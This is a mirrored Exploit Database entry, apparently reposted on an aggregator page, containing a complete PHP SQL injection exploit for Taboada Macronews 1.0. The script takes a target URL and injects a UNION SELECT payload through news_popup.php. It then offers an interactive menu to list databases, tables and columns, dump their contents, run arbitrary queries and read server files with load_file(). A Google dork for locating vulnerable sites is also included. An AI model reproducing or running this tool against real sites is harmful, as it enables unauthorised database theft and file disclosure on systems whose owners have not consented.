Taboada Macronews 1.0 – SQL Injection

• Exploit Database
• 11 阅读

• 作者： Jefrey
  日期： 2014-01-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/30689/

• <?php
  /*
  # Exploit Title: Taboada Macronews <= 1.0 SQLi Exploit
  # Date: 03rd January 2013
  # Exploit Author: WhiteCollarGroup
  # Software Link: http://www.scriptbrasil.com.br/download/codigo/7144/
  # Version: 1.0
  # Google Dork: intext:"Powered by: joaotaboada.com"
  
  Usage:
  php filename.php
  */
  
  function puts($str) {
  echo $str."\n";
  }
   
  function gets() {
  return trim(fgets(STDIN));
  }
  
  function hex($string){
  $hex=''; // PHP 'Dim' =]
  for ($i=0; $i < strlen($string); $i++){
  $hex .= dechex(ord($string[$i]));
  }
  return '0x'.$hex;
  }
   
  $token = uniqid();
  $token_hex = hex($token);
   
  puts("Taboada Macronews <= 1.0 SQL Injection Exploit");
  puts("By WhiteCollarGroup (0KaL miss all of you guys)");
   
  puts("[?] Enter website URL (e. g.: http://www.target.com/taboada/):");
  $target = gets();
   
  puts("[*] Checking...");
  if(!@file_get_contents($target)) die("[!] Access error: check domain and path.");
   puts("[.] Connected.");
  if(substr($target, (strlen($target)-1))!="/") $target .= "/";
   
  function runquery($query) {
  global $target,$token,$token_hex;
   
  $query = preg_replace("/;$/", null, $query);
   
  $query = urlencode($query);
  $rodar = $target . "news_popup.php?id='%20UNION%20ALL%20SELECT%201,2,3,concat($token_hex,%28$query%29,$token_hex),5,6,7,8--%20";
  //die($rodar);
  $get = file_get_contents($rodar);
  $matches = array();
  preg_match_all("/$token(.*)$token/", $get, $matches);
  if(isset($matches[1][0]))
  return $matches[1][0];
  else
  return false;
  }
   
  if(runquery("SELECT $token_hex")!=$token) {
  puts("[!] Couldn't get data");
  exit;
  }
  
  puts("[i] MySQL version is ".runquery("SELECT version()"));
  puts("[i] MySQL user is ".runquery("SELECT user()"));
   
  function main($msg=null) {
  global $token,$token_hex;
   
  echo "\n".$msg."\n";
  puts("[>] MAIN MENU");
  puts("[1] Browse MySQL");
  puts("[2] Run SQL Query");
  puts("[3] Read file");
  puts("[4] About");
  puts("[0] Exit");
  $resp = gets();
   
  if($resp=="0")
  exit;
  elseif($resp=="1") {
   
  // pega dbs
  $i = 0;
  puts("[.] Getting databases:");
  while(true) {
  $pega = runquery("SELECT schema_name FROM information_schema.schemata LIMIT $i,1");
  if($pega)
  puts(" - ".$pega);
  else
  break;
   
  $i++;
  }
   
  puts("[!] Current database: ".runquery("SELECT database()"));
  puts("[?] Enter database name for select:");
  $own = array();
  $own['db'] = gets();
  $own['dbh'] = hex($own['db']);
   
  // pega tables da db
  $i = 0;
  puts("[.] Getting tables from $own[db]:");
  while(true) {
  $pega = runquery("SELECT table_name FROM information_schema.tables WHERE table_schema=$own[dbh] LIMIT $i,1");
  if($pega)
  puts(" - ".$pega);
  else
  break;
   
  $i++;
  }
  puts("[?] Enter table name for select:");
  $own['tb'] = gets();
  $own['tbh'] = hex($own['tb']);
   
  // pega colunas da table
  $i = 0;
  puts("[.] Getting columns from $own[db].$own[tb]:");
  while(true) {
  $pega = runquery("SELECT column_name FROM information_schema.columns WHERE table_schema=$own[dbh] AND table_name=$own[tbh] LIMIT $i,1");
  if($pega)
  puts(" - ".$pega);
  else
  break;
   
  $i++;
  }
  puts("[?] Enter columns name, separated by commas (\",\") for select:");
  $own['cl'] = explode(",", gets());
   
  // pega dados das colunas
   
  foreach($own['cl'] as $coluna) {
  $i = 0;
  puts("[=] Column: $coluna");
  while(true) {
  $pega = runquery("SELECT $coluna FROM $own[db].$own[tb] LIMIT $i,1");
  if($pega) {
  puts(" - $pega");
  $i++;
  } else
  break;
  }
   
  echo "\n[ ] -+-\n";
  }
   
  main();
   
  } elseif($resp=="2") {
  puts("[~] RUN SQL QUERY");
  puts("[!] You can run a SQL code. It can returns a one-line and one-column content. You can also use concat() or group_concat().");
  puts("[?] Query (enter for exit): ");
  $query = gets();
  if(!$query) main();
  else main(runquery($query."\n"));
  } elseif($resp=="3") {
  puts("[?] File path (may not have priv):");
  $file = hex(gets());
  $le = runquery("SELECT load_file($file) AS wc");
  if($le)
  main($le);
  else
  main("File not found, empty or no priv!");
   
  } elseif($resp=="4") {
  puts("Coded by 0KaL @ WhiteCollarGroup");
  puts("tinyurl.com/WCollarGroup");
  main();
  }
  else
  main("[!] Wrong choice.");
  }
   
  main();